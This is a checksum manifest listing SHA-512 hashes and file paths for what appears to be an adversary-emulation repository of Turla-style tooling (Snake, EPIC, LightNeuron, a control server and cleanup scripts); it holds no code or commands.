./Resources/Snake/SnakeInstaller/src/privesc/privesc.hpp +cf4e2daae6ec6f31f0a329dce81a3acc6794bde1953aeefbbba8a2dd2f15da3f2488e2257158b5e6aa72ca23620c281aabeebcc9ef15232ff4f7162c3f7c218b ./Resources/Snake/SnakeInstaller/src/ci/nt.hpp +0908f4b9702e31d773bfb76a26e6ddd99cc97647a7c1a91ecae8392a54b5faa54a1ac5c87d9d0344439e87041a36b284483ab89afa18f7e982907df518ea126b ./Resources/Snake/SnakeInstaller/src/ci/ci.cpp +cac3f52c77eda279a1e3aabaf3359e6ade439affb55bc8f94258e1cc63bcfbab3c79b25ea2c824c8e2f302d767272632d335d3e1e2c9a737f43a80bf039330d9 ./Resources/Snake/SnakeInstaller/src/ci/nt.cpp +fd23b889eacdec37a2ec659828a086aa5e9b2cfa11ec20f339ea08d56f125a906dbce15704631fd1b6a0aa8553146a8cd74a3cd06a00b6bbb94a949cd3a02fe0 ./Resources/Snake/SnakeInstaller/src/ci/ci.hpp +c6b3ada0c913107cd1554b3b82f6139eee0a15e27d5ba2c0f00109bd1df44da4d013b9b62152c2ff508246d0b805f6d2e9b62256a148b9e0ea16c7756704a875 ./Resources/Snake/SnakeInstaller/src/CMakeLists.txt +981caaa693c9155c6384e547c523d76f59af54aa8891a5d4df44356ab3c1bda18fa6fb1bf38f59c864e22f580cff728d254f3a2a8b00a87d59f10167e52d6cd8 ./Resources/Snake/SnakeInstaller/src/common/string.cpp +4f60cb831c52be60c8d89f1fc40d9cde1b3eabd2df3d6cf734c9c6d5824c61e85f4fd985d0d40bd28bad7675d1ffc8ebcf7fba5f521f3ad833d72e87449a780f ./Resources/Snake/SnakeInstaller/src/common/error.cpp +aff43cf28b6b40cad2a609fb528f32460835e8a7ace05aa5fb907c62bcbc08b5272838c1819f1cad338cf05140a5f345163f5544ca926d3601101512b16facb6 ./Resources/Snake/SnakeInstaller/src/common/error.hpp +0c56b7abf179f5a348a776bc6cde2bf8d5b3e20aeb95cb90a7378f9eafe7be29a7652f170fd36c62d5b870b0bce247c23a7e4e4026c6df0de587ba2d8b5f0f9b ./Resources/Snake/SnakeInstaller/src/common/string.hpp +7837146a8449293829a0122ef740f8f156161203f6e243adb0a3e76889ba1127776cf1787b5f4e413141ec172bce0c37011452d25e448ef38206152060c5f39e ./Resources/Snake/SnakeInstaller/src/common/handle.hpp +9f806eff02b2e1427a9db5bb67d78c945225fa09838fb3bada0e6b0d9d4bcd012733c3efb664a02b00c5524f8907c64ebe799e0556d7a0ae269f1fabb03a1975 ./Resources/Snake/SnakeInstaller/src/resource/resource.hpp +9a622939d55c5e2532e01f83afd363501bb0f5bd97f80e764700a937b8bd3939bc8c574113185b51f61169c1e0c13c93287e44eb8159bf33acfcf00c0bf4cb3b ./Resources/Snake/SnakeInstaller/src/resource/resource.cpp +ee216d9ffb0bdfcd301f909137d61186701e512aea4e8448143b38f694153218f886c53c21d3d3bd16ad479322a1f86d5809b60f9373a7963897b908433611e0 ./Resources/Snake/SnakeInstaller/src/resource/resources.hpp +b3489234d9fd4a7e790678de81c1f0e9d631ca6a8f32c7daa036fa6e4164f78eb438c2d3ebf424e94a4802d973be9b00277b3d066c486ff7fab12764f2f3a6a7 ./Resources/Snake/SnakeInstaller/src/resource/resource.rc +aa1465f10d00c082df265e82a310e0907d1ee55f70b98d8c958f078786cb098bcf8b0cc939813e560f06daf7124d7b3581b049f0573169775ef811e2539fe296 ./Resources/Snake/SnakeInstaller/src/driver/driver.cpp +7f4937b38b45957c78863fee99df257bdf4c92b6014d32fcef1fedd0579a0a07f313f62b6b35927293379493a7396f859e3c17a853284fe6c85a0068fcfbd42c ./Resources/Snake/SnakeInstaller/src/driver/driver.hpp +f2bd7a7a26be429f4ecd59df635685556baff697d2d85e989baa9e27b1db1eb66d1372ede426fcf552f4de4885edaa5964e7caf9b7387e566dad6bea57d51b59 ./Resources/Snake/SnakeInstaller/src/driver/gb.hpp +e3a4ae0f5cdfef124ee524174b01c3ffeeb94f1ec6538cbe25ae5f50e3f7d2abceb3657c67b7ab3c9f9118ca776bd1eac23aaaa2a8ff2200936b5a13e1ae9c59 ./Resources/Snake/SnakeInstaller/src/main.cpp +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/Snake/SnakeInstaller/data/.gitkeep +ff875dc01001ed61fcedc8e9fbac2dba3fab8ccc81a1ab8db4123a98071234ec5a55f5e3c1eebd44ff5f12090ce50624a6b798e17e12fe1ebf143e97df4c5bc2 ./Resources/Snake/SnakeInstaller/CMakePresets.json +3820fe3e8b877c25664eaead9309a2c6c4c9e4c892781ec3656a0a804672f7b48f10cf0eb19ae4f967a19d3106e31e625e4fd09bb2c726e6b5fb06d262a05c43 ./Resources/Snake/buildall.ps1 +66d6bf1c7479f3bab10757a7b12615000ee6cbb6dd268bb79515c6f9d69160e2113fef59b67372ed79d1a592d8f4db0afa72e9767ebf4f60c1012300317a7ca1 ./Resources/Mimikatz/README.md +a87af555dcbce81488f80e54e7a10283f9e3f5693474d4a6826c585960c55553e3b5b912141d2a5ac50ff8d2f69f186ce4bf497e83745ef3451bc4dcbe05a539 ./Resources/cleanup/README.md +96cffa6b008fce74cb74c7d8f7afabe08b9d8958efc2e45b697ad9e0a68dea694527b72c13f3a56868f447f2bd2462adca7156ceaab59e822e48a67b95b4e889 ./Resources/cleanup/Snake/snake_cleanup.ps1 +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/cleanup/Snake/.gitkeep +0af6096f8f18ef7fc4108f69e78e36de9fad8dacea2d077e86fcb15c00780744f2517df0c65ae53f886351451251c4514087805ca90b15b69e9dce3228c355df ./Resources/cleanup/EPIC/epic_cleanup.ps1 +425f5dcb95937451db04ec562831748e797cbf98f62bb3794e006ac5cff8da2eec0153aa048a2df054e3cedf6e9272261dae9c15f1b7e4eaed7dd6910c72a54b ./Resources/cleanup/LightNeuron/lightneuron_cleanup.ps1 +4207bbe990ca6454bd70bc3e9bd1f8395ac9b5c99d4b8697dd50c0938e36c56d6db0090aef332a0c18a6284b545bbd23c1b122fde6a5b96cae061f383f1c7484 ./Resources/cleanup/Carbon/carbon_cleanup.ps1 +25b66e196d93eda04ef83fb1bc8635acbaf6fc52f5cdbe54d460c4c4a1031629c103aacf12f6078d03224c8e403d31530b89f3db35674091d225181105428021 ./Resources/cleanup/Penquin/cleanup_penquin.sh +c5713038b3eeac964f66a42c8124d88c88d453f40620e468e484578e258ec14dc0d43575c55d586150e1ce4f415a32e0c880fbfdec0cab3330851d4e895fdde6 ./Resources/EPIC/README.md +69173ea76c90d957f7ad2fa211b68ef9621a24b9d958007e6d8d2fba900a448dca9c99ce0e042da1e1148cd48dd0d84d8e7bc6858ac1d07ea5bbeb5e4bbda152 ./Resources/EPIC/payload/vcpkg.json +71a7d916aead8bc06a9384c980faa16fa74967ea5fcbaaf2afe5cd1cb163f28b5c6916a6fb16a57c6f4cda34cf42f84bf0fb667e190430f7d3ebd387d9dd083c ./Resources/EPIC/payload/README.md +8276fc77c4f725e16ce8d3a77e828e5c4c982a2192259fe1d850a8e88cb5d45bf62101cd10e117d4e1bb7cd24a3e322668cd1761f743bfa7f5fbac171cce12e3 ./Resources/EPIC/payload/.gitignore +9cca03f1ded977f171a1431f01e0194974ff4f85ae4b1ef7ca012f4ad6dd0536f80c620f3c53d2010e2b30f7e6bf9db5983f6f7dba32042f5ce67387b3e4f399 ./Resources/EPIC/payload/CMakeLists.txt +0bf7343e53789dbc3e439005e15e45e1b75f80a26106cc4560130e139f4727d6ca5337b99501269036cf81d4a05c2b391e326a41dcb950c32921d8b00e2333a4 ./Resources/EPIC/payload/tests/comms_test.cpp +467e50b4f206d007a521605336d5e69b13ef97e82da28b29132cd210d2f229013b5883d3f2705ad9bd9e0b57d0ee2d3cf205857a4e47e36afef0c541f932350e ./Resources/EPIC/payload/src/file_ops.cpp +9c5a3d9510f1428637540c047aa2c13bfeedb5c71ffd923a309b718a436c80d96ef21add462dbd87c82e0aae11460624a46867a468defcea47cad9ffb34e283d ./Resources/EPIC/payload/src/base64_y.cpp +6f49030ed1424702fc2a802f639369a892315a5791670d2fe73e084424a8fdf733722cfea2befbbeb54a278c3020334d51ecc792f076309c910cc66fedadc9bd ./Resources/EPIC/payload/src/comms.cpp +b35fc1ed041ab393dd20419b75a4d4c5e37af48c2a8adfc7501efcbd02fec0f903275dbd09c88940bbc8d301336ce0f551f8cf0ad7b421c2e22b55ce58382a56 ./Resources/EPIC/payload/src/CMakeLists.txt +6d44eed411557c82e1a8d8318173a2604f729f5b45d9eeedb370854f609add718d0a9631c4d421a0c13565e65aee24ac1d8c60693fb14f9369952d08a2daa011 ./Resources/EPIC/payload/src/epic.cpp +954212a526f889339d500ba3d39e2ae26dec393bc76bc9b49457325859fb5c3bb1fc1ccfa43552b7825c3022a16e6ed00108fba70ecf241f84eddf26e2c12af2 ./Resources/EPIC/payload/include/file_ops.h +97e0013934f520e352ca6f57ce51ce4273e3aae1e21fa2a2720e43eebd5277091b28a25e84fa31e5d45c0e11c3bcf3033f1fe3b1513a6d9e4ddc07720e68b90f ./Resources/EPIC/payload/include/comms.h +3003b8fdfde6bbf2966f61938f6c6b4881ccb4b3d2ff7f37108c3dea44bba2819c36a56a71d8658d5f574ea992558b4df764ee068e08ead8f49aa0bc29cdc801 ./Resources/EPIC/payload/include/epic.h +a73d2877ad8c33379c8e2bf805b9d0457bbed75aced9077197d59f90bfccab6b62a87b11689764aa4609cc1abc410cf04d814ba05af695fd54d0f4f396459ec1 ./Resources/EPIC/payload/include/instruction.h +d468e60c09a4cf811a3844abf9071b7a9095ccd03f79bae2523f27cf48cd5d8f89f78840cf8d13893e868b2f5501a34c3782edb864af7611136bbd25304ce7d8 ./Resources/EPIC/payload/include/base64_y.h +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/EPIC/payload/bin/.gitkeep +1fefeda181548e336b8de7761fce8c824a783e7e8a97b6d6a35fb4d492f8c454f48bd0fea93f23d2d2684d4f18c7deccea1ce3dc8c0e149e73bacdacc09868c0 ./Resources/EPIC/payload/CMakePresets.json +dbab277d8283b41a37b74ffe11f8f58f033fa23ce8ff495fb6624b693a5546bdf7bc2fad289d0d416e9620c4ff4ed04966130d9fa29a699ccd74430b31684e55 ./Resources/EPIC/buildall.ps1 +4cd7a0af363548e7e3f0639f07980bf9483913ff49bcfe0e3c2403929eafb0d5048c92410115fccda65884da9c5e8ab647d3c74338967a455cec2eef84e1e816 ./Resources/EPIC/SimpleDropper/SimpleDropper.sln +f427545c4c82c3e6f1c642abcdd9914a84583593b659f3b37c7ad3e2b9e4ab0eb1a7a62bb69eba8f97a3438ab22df78ded5f40f852e55ee94f4d4ca86ad9ab5f ./Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp +78285c6194ed691dddadc6b714fa08a73ba089f0c8cf0357a9341f1fafbb68a2dc655113a33ae5f515f8cde93123462c65095c75ce0a03d2e3d79b81e8093c44 ./Resources/EPIC/SimpleDropper/SimpleDropper/resource.h +2b82914412bf6c78b1bd3139a664cf3fd8048a2afd7a8b39c146dca739d5866adddaa92a1a1cff45f5a3ed2a11128b7d3fc18f39e1d8209accccb57d55cf0e74 ./Resources/EPIC/SimpleDropper/SimpleDropper/SimpleDropper.vcxproj +a3a7c6e4dcf6b07c51e13d28685bc3ee92085c41e68e0060891ed9e8717f4a0e062b57860d5e60ca84a70d41d393f285872163f649c4ea4d659ddc30163ddfc8 ./Resources/EPIC/SimpleDropper/SimpleDropper/README.md +bdd6ca3fd77b14d44207af0840e3af4137d323e94066351810f3b3d1cbdb6d14fb37412e6193c5848300252452c608263e0547fd8e6604c0451ae65653fe2ca0 ./Resources/EPIC/SimpleDropper/SimpleDropper/SimpleDropper.rc +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/EPIC/SimpleDropper/SimpleDropper/bin/.gitkeep +5ff34a1605a2a8dedb63a96becc201ece3ae0762f023f08acb8c30416fe1c16a6efbe9e38cd5c47b46ec77aec46ca16fa9602d017d3886af0b7ad3e2004e1cd6 ./Resources/EPIC/Defense-Evasion/reflective-guard/Intermediary.sln +622adc49cb0b3571ad333a1ee768a4991af9a26ce7f5bd7ca59e944a4eff5b3ccc6652305a97793948353af29be7993c002663495bc7fd8348fbed16767de2cb ./Resources/EPIC/Defense-Evasion/reflective-guard/DLL_Run/Main.cpp +7b624e8749a2ba2535b4a6a3cb463d8ec6250cf9e0737a78215f14fef5f7b442e2019c03098001599a92a26211b74475af9581f31ab29a977ab7d49b144ee881 ./Resources/EPIC/Defense-Evasion/reflective-guard/DLL_Run/DLL_Run.vcxproj +40fe50a61f3baa87ea20c90f169b569e66c25c5d0cb7b5e16aae851046417635d2bc9d3b28a1f0f71f80e2b7b012cf8358ddb97236dafe22655f96faf458c20e ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/resource.h +ddc85fd35ed3f55270f4a51c76a91cacb2bb174186cb86dbfb2233232f0485f807401832afbe28c3e68585c5cba3ef5908531f62f96aee2df10e9bc904b66779 ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/README.md +7e7ec0c185c502f17f9e7cef0842251a974e24508aa4a4e459edfb2b3c1ee83faaa82903748dad6d01ab3a527032f76779b249187c05adcb2c7d36088834d508 ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/dllmain.cpp +875bff24f37fdb99097aff9ed184ee56c27590b6b4675f0c630d7b509759cbc9e07e70e66677e86fa925c993aed31c3371db74b9e0b59cd69083a2a77ed8b979 ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/reflective-guard.vcxproj +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/bin/.gitkeep +6f8bbd37d2c0d6ee5ddfd7b6346ac5f108ae8ccadbdcd3c78c6a1a321b094bc4aaaa7ae40861d0d8f867bbe603e7b64af2c00276a2011370ec7dc3b828d44c78 ./Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/Resource.rc +32a6dd172a0bd047b740f4841ca102d51ab1420188218dd0be863a445078f019aef55e42cfa53800b5b905f3bdb5e63e185acc761ae6eda321257064716871dd ./Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test.sln +8896b3b7293d398ee35559dd21e34e2d4b915de116f38df1d302830a7a9fb57507fbcc8960583f8cd84cceda472f676d883be8dff3e7c9fd355b7c3681735af3 ./Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/Source.cpp +5c960f8b10ec69e9656fab5e458e1830878dd6dbe93082746e38f9d1430e7f3355f293030b69b82e2833d7ada334d15909236ac52dd656c1460fccabc3bd1730 ./Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/DLL_Test.vcxproj +d585275eb78134367cec02a2104256966c7505e0c5c622ddcc188503191cf4ce5d61ed34fff889063fbc4b4860214008557082fe559ffe9cc4d147e2717c0c22 ./Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/DLL_Test.vcxproj.user +ad707e3bd023b78e611e87458d3fb713cb94541c93b33bce0b405654a98efe686298f4a81f4a90670fd0927330c98343d6907558b9a2aebfa282229828f4abf6 ./Resources/EPIC/Defense-Evasion/DLL_Test/DLL_Test/DLL_Test.vcxproj.filters +9a8bbf3fca3148b6c6a155becfd36805adc8112a3f993729a9ec1df5c13b716d14faf6ee8b5455bc090dd71bcc1c2985838bf0d534695988860f0a095324cea1 ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Source.cpp +b82e8e60fda2bfe9becad8631be00bba6dd7bdfc1b5c3ddb48aa8b70f35eb5456552a364e1046820faecafe9a6a2c5a17f2d308ba0e80b3ad0ccb5ed26293522 ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/resource.h +f505fd37398bc643fb4e992deee10ae63df086f42614bc1dbfbfd1c178dd264b77b66460252261bc4d9b405ac16c8feaa33466da16938920a7d05d52c29dc4ac ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/README.md +d585275eb78134367cec02a2104256966c7505e0c5c622ddcc188503191cf4ce5d61ed34fff889063fbc4b4860214008557082fe559ffe9cc4d147e2717c0c22 ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/reflective_injector.vcxproj.user +c1090787656c7494223687d7294d71ce21bd124c4f137327565ba0161a2b5cff1955259a3db628e2efe1d913b437a0c0fcab7d0ac6926d997eb70efdde057007 ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/reflective_injector.vcxproj +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/bin/.gitkeep +cddf593420c8520463d257980699203429a7fd379cd41a3f2e83b5e3060df545c8fc08dbb09b4d5eb43fd5a953d641b82e3ee539c7c67943ae2f300f64b184e8 ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Resource.rc +c4cad911ebc5fdc2eef3062bdfa7c78c25d5b715fd835fec63568bdac2113337ed7f50eaeb6a9e4624735f977a53048a5d6c20e0d7eae5c9deb05731c60bbd59 ./Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/reflective_injector.vcxproj.filters +74c8fed84602476d6a6ab95e38edb693dd970a6059f7f15fe8acc3a5286285738adce3d06ee9a7c0e4e3f2066adace76b423e2325d23425e9af199b9797176f6 ./Resources/EPIC/Defense-Evasion/reflective_injector/Primary.sln +187d8a8eaebecf869b1efff7fb2d0d4a69001df9d6a847a8d0768fdc01784df8f8cd8e69cff32455771ecebf799467c9ac3f9f05059a37e8c05e3763ffe3daa4 ./Resources/LightNeuron/README.md +c7995fc2fe4aa4f989e4dade4a9d46830e3b97b96748db64a2d4cdd33f7a2ecbb85e37c522a1852b7dc2dd137ab4b8d0017f1f2df6a8ad3af89c21962e6d1399 ./Resources/LightNeuron/.gitignore +793507e2e2efd58524d069238f51197cc304d844f83050feb9d960e442ce2c62fe8159aac9ce15cd3fba58860916f8bbdc9374ded6130caaf6db5e179254edf7 ./Resources/LightNeuron/setup.ps1 +94b7e7663bf3a61601c8e7d267e76c470815b8758ae77321f68b0f8fba43159aa1d43ee226f444d6b0a4be526767adc627544ce5a3f061822aa73ee0d578deff ./Resources/LightNeuron/CompanionDLL/vcpkg.json +794f150ffab2c0a89705653f6356cbf210facd1829be9717e7196681df1edfc67199431d83289537fa0857381e509d6720e266de178fbb3e63efb70b4cd27fdf ./Resources/LightNeuron/CompanionDLL/.gitignore +52bd52217018c3e288c05ad808c722df6a38ec7da4e2cdca68bf3db313e64331757981e8dd565624604c3bbee2762c58cda3b38957bff386d7a3d9c6f99438ff ./Resources/LightNeuron/CompanionDLL/CMakeLists.txt +5cc2a728b33d7a27e8bc52a919acb079abe3173afde11f8f4ed4082724a787eebc8bf09afa5df2799a7350cf9f364145285ef7b5c702460e65a634d0d527269f ./Resources/LightNeuron/CompanionDLL/tests/tests.cpp +e92ca4d8e303c00a12de808f8e9f42d3b77199cec820ca073d0d6a97ab0853c0f81d278f10c86292e6beaba19a198f2816353184375dfc8df7bfb9e9fd43f1b4 ./Resources/LightNeuron/CompanionDLL/tests/snake_extract_64.txt +a485608f3798096fcc90cb28292031d9850aa4aefbed42e93e141202ebe13b891b867377b726eeee49a8c45e84dc3ac3a1b8f2f58701a83cc024d69200f2167c ./Resources/LightNeuron/CompanionDLL/tests/winmail.dat +a52992607423a5d0eb7c6ccf9cdb3721d1c45df8df263ae3b83328220d77235daaf32b9f6ecf36fd51667d9a44e7750939c51cead103cdabbe8d64c1675473d4 ./Resources/LightNeuron/CompanionDLL/src/pugixml.cpp +13934bbbd42e191a50b284fadd013a302162da3d1ad1eb150adfbfd8200bc8d96537b8618d8c7a5d339a1058a4eea3ef9504adef3af1630f965d778b24bc32c7 ./Resources/LightNeuron/CompanionDLL/src/stego.cpp +cae76c4579551cf7db22efc9d671ecdf3bf9907dfd6994803228cdac22075b11fbc497cf48f3c1b6948b31bcddc4d4219b972bd45aa7c4d2a0b6d06cb283613e ./Resources/LightNeuron/CompanionDLL/src/exdbdata.cpp +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/LightNeuron/CompanionDLL/src/CMakeLists.txt +b065ddf05d346fb8653a6e51f37fb698b521ffe99471e31fe2fa6bf3c097d31ab4dc75f6ec6bbabef999d48e132a576e6046211d17abdc7356e69ea81ece2861 ./Resources/LightNeuron/CompanionDLL/src/rules.xml +1859b1f07728778acb54dca95c46bee5a944f408abd04eaf0c53331cb26e2f60868da4ba14f4f71e79cc35eb16d064a6085f8be9928e4b4d983df706d82299eb ./Resources/LightNeuron/CompanionDLL/src/base64.cpp +7f06124e4de55e169a9d59b596bd3a1cb96fee8bfe2b90c1e71d9ad169cd9ac9a63520927ae42f18512df3ef090f23957c7335c9b2d436ec5755cf5e866ba546 ./Resources/LightNeuron/CompanionDLL/util/analyze_image.cpp +c1c036c227340a83f79ed07285ebbb8139ca43303e4bf4294f4ccd682af20245d6a58ab3097ead90287571a4d472df7b1e21be6edf2b06c786291019939755be ./Resources/LightNeuron/CompanionDLL/include/exdbdata.h +f2f53abea33df6d246de552c62bed6b448479059a0876037e3eef8c0b4af7dac3a9c458e9a347915afec625c3c62e05f70f0387a060b5c7c2215a1dda6083dd0 ./Resources/LightNeuron/CompanionDLL/include/base64.h +cadb6d626b69fcd292cd55cbf79bdbac478bb69ee0dd5f6b2d99f837960aab558228426b789054a2592bd41c16aec02b09c4b8531654e944db7c47da0dc50e11 ./Resources/LightNeuron/CompanionDLL/include/pugixml.hpp +3c9a97ffadc6540f1bbaf99c0c55a9480d774eba84597a3e613df6681efee6c5310311b9f9817f8c001f6c93a13afdd9c292a7d027a2dc0fa9a964af1cedc8ba ./Resources/LightNeuron/CompanionDLL/include/pugiconfig.hpp +7eac983c5e77395e3c3317a3c914c9f387c11defc17a1765cf48746c5fb0acf261d3c643c1b3a568516dc4e4e7e70c64a93ed4f7092180978416a0592dc0a10d ./Resources/LightNeuron/CompanionDLL/include/stego.h +391499cca3ef12c0046db9b462057b79b5ee291cfc1f7b419ae0f9f6e81e4a63de7e838415116e7a05f104e15636ce949d513f1a184cfb6da168c4835922828f ./Resources/LightNeuron/CompanionDLL/data/rules.xml +340d8c8af972e2904bcff16e0b16bd3eb99910a1eed711f468f26d63b3800b528160e841caea6d645d7320874f156f35cfb33e2d45f4ed1a245dbaee98051d6b ./Resources/LightNeuron/CompanionDLL/data/winmail.dat +5e163996f00d804b82bb5e66a2e955782d4ffcf67c568e592c0eea5a8c4ea74d82c859fc361297cdf9c588a58cc15d2bc8a735f1e1b755f9ef1d04ec88bd5c2c ./Resources/LightNeuron/msiex.ps1 +209c23daa9eb5ad579895dc1052711dae5705625d119f7307170d321eea234841cac782d29a9250285795ca43ca28e047e259919021b91865144bb6c1160dbe6 ./Resources/LightNeuron/TransportAgent/.gitignore +bca2f9c15ff8612db71be0a69577093be5a8bbdd93055625d6a0ac32fa8c12df6c1590e63e704fd71328d98f163c49a4f5f588afa28e2f8cc759d28c361cc708 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.csproj +4e4ca49ecc6f4410e4238b90d3de88ac887b130eac0f9d1815df94a0f063886f3cc58c8edc1d3221dd79091957e6086b3afbf9cbf6d1264800af4f05e3ef998f ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering/ConnectionFilteringAgent.cs +ecaa7449eda068a04134027e037685a5a6aae49bd9daa9fd9bc3d0bca3f242e8e1e7564244c1f14de6df1c67997b66dd1394b92e20843ab2ac4ba93f6383573f ./Resources/LightNeuron/TransportAgent/TransportAgent.sln +40dd343fb4b2acabce254fa59a567974d6308f1073fbc724be92d7a5c548574a5c38788b63a3ad7c1e37a301271f4f06c4bdfb473b4abb0ed3122cad5044365e ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/ConnectionFilteringAgentTests.ps1 +e3944865c879965cea9ba44b45f0d9ee1ba1fbf7a5e4ff8409bfc207c3776dcad617ada6f875cb422e845a3dd3301044a0f3ed1b60ea94b1bbee5e51c25fdb95 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests.csproj +3840e053e16d01d77142edf0ae7e58a616edb5249a904404d22bc7181d5cf8c0c60f432f4725d0ee9fd8aae83d90b97ef2c4e29b5fcb3f9ff6bb1a4790848aee ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/snake2_hat.jpg +bfb25fe82c31c9c3369761eff55c59fd72d49373c80f3dada9b2d7dc516f93787c8f5cad316cf9fef2b9fa339426afb6065b3270564c28e534169268bcd74f44 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/TestIngestStruct.cpp +fba47225dda96e4259a16fd78529f1f5c88c63a509fd6eae140d2909714d36a4c2f9f1566b6c046fa0a2cb70eb37dc403733bc510634c6314ea68b6637497661 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/CMakeLists.txt +c54102249f5b44c319fda9ba767e608d8bef0aa8bc3531362e536897ca0ee6d57ba7195c0a90b9c589b98642bcd8dd9f1e42e67eda2ede1535a2cbf8cd5f5862 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/TestIngestStruct.h +1fefeda181548e336b8de7761fce8c824a783e7e8a97b6d6a35fb4d492f8c454f48bd0fea93f23d2d2684d4f18c7deccea1ce3dc8c0e149e73bacdacc09868c0 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/TestIngestStruct/CMakePresets.json +60e9c6e4af6e4a305e4945c4a1dac6a9075f388b2fca487f92f195f41842d2ece5f05299e2c21b419727799bfa21a6f3d23c040f584558c56fb430f6b92f6dc9 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/uninstall-transport-agent.ps1 +d085a8590cbc787e1488f56caa7032fda560b03a6a44f9775fa182365595565fbb01a8bfb54ff34664075e22c01a55cbc70e341d9b96c407a32bf88b484f47b6 ./Resources/LightNeuron/TransportAgent/Microsoft.Exchange.Transport.Agent.ConnectionFiltering.Tests/msiex_test.ps1 +85e0d439fb311684f7751d429c3e5fea25e3688b77319493658ddf5d61de974c5590515d93e21c15effd39003645811eeafe1218d7f3f31fd8094a11da609c05 ./Resources/control_server/exampleImplant.py +89aee04fda4b66e9e70b04843de18ecac4330f1d29a1a72d0c56254fc92ce9672e2a3411453334b38f737ecc074d7db22544737cd486152de345ef85adc044cc ./Resources/control_server/README.md +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/control_server/files/.gitkeep +fdad04fc81e20085bccd2b2aeb063c87f6e3f99cd4e960921184a318b26bbdeeee4f15aa0d2e9e37ad4781274e9d7d125a065417d06e3f1bf60168cd9afa7a84 ./Resources/control_server/requirements.txt +67bd1639557353d1e0ec3cfa3f06db2588ac670fecf057637eeb94cfad33bce97c3fc1081ad663b6c92c5a09877a358f3fe7dd7c2b3272ef4b6898cec1143d55 ./Resources/control_server/sessions/sessions.go +4d4b108c9fe7a668d85ae23939cdfdf3ef8b3694c7da5eaaf0b82a89abaa3248b89a7b5247958b0760b3d7e671568dc666c4d9ddde0fdc9df6bd4498093163a9 ./Resources/control_server/sessions/sessions_test.go +62fe1c2a5f998ab7a14ab35f43c05611a11c8e2e3670ef80dd00e4cb2867b9c6e41c0a46537c92ab677461fa2f67e78cf1aebac1bfc07d804c8cb5f1d0081759 ./Resources/control_server/display/display_test.go +2dd2ea4692d0645a3598bdfb55b070e03309c8e11f883d10e664f94ae6bd8e13a6c97caf448c3b599ec234ff289852a28463ce452e78eafe1bf9c040eab1e5cd ./Resources/control_server/display/display.go +98d80371b8c8b69232ff23a738b8f13c2fa159e4ad8270aaea57f8cf335cdeffc396c4afd4f1f1ee17e69ef07205d0cc278644da3f9cd74ed4648010a04e5f73 ./Resources/control_server/handlers/handlers.go +8625bb884ca04a4ccd59d51613aea40c45066fca5fb359cf30f2a7426447a3a8ea297163fe5eaa810aeec1096d85fb76ec1f449e71d6f1cc29fd6ee407b893bc ./Resources/control_server/handlers/snake/README.md +3ff82da9c3d2951ffde17e315a18451318c8e86eac133826af33b6f46ad78047a136563b1ee2764cc762f397c1d4610db0eb37e69bba9e32c6c87f828cb4169a ./Resources/control_server/handlers/snake/snake_http.go 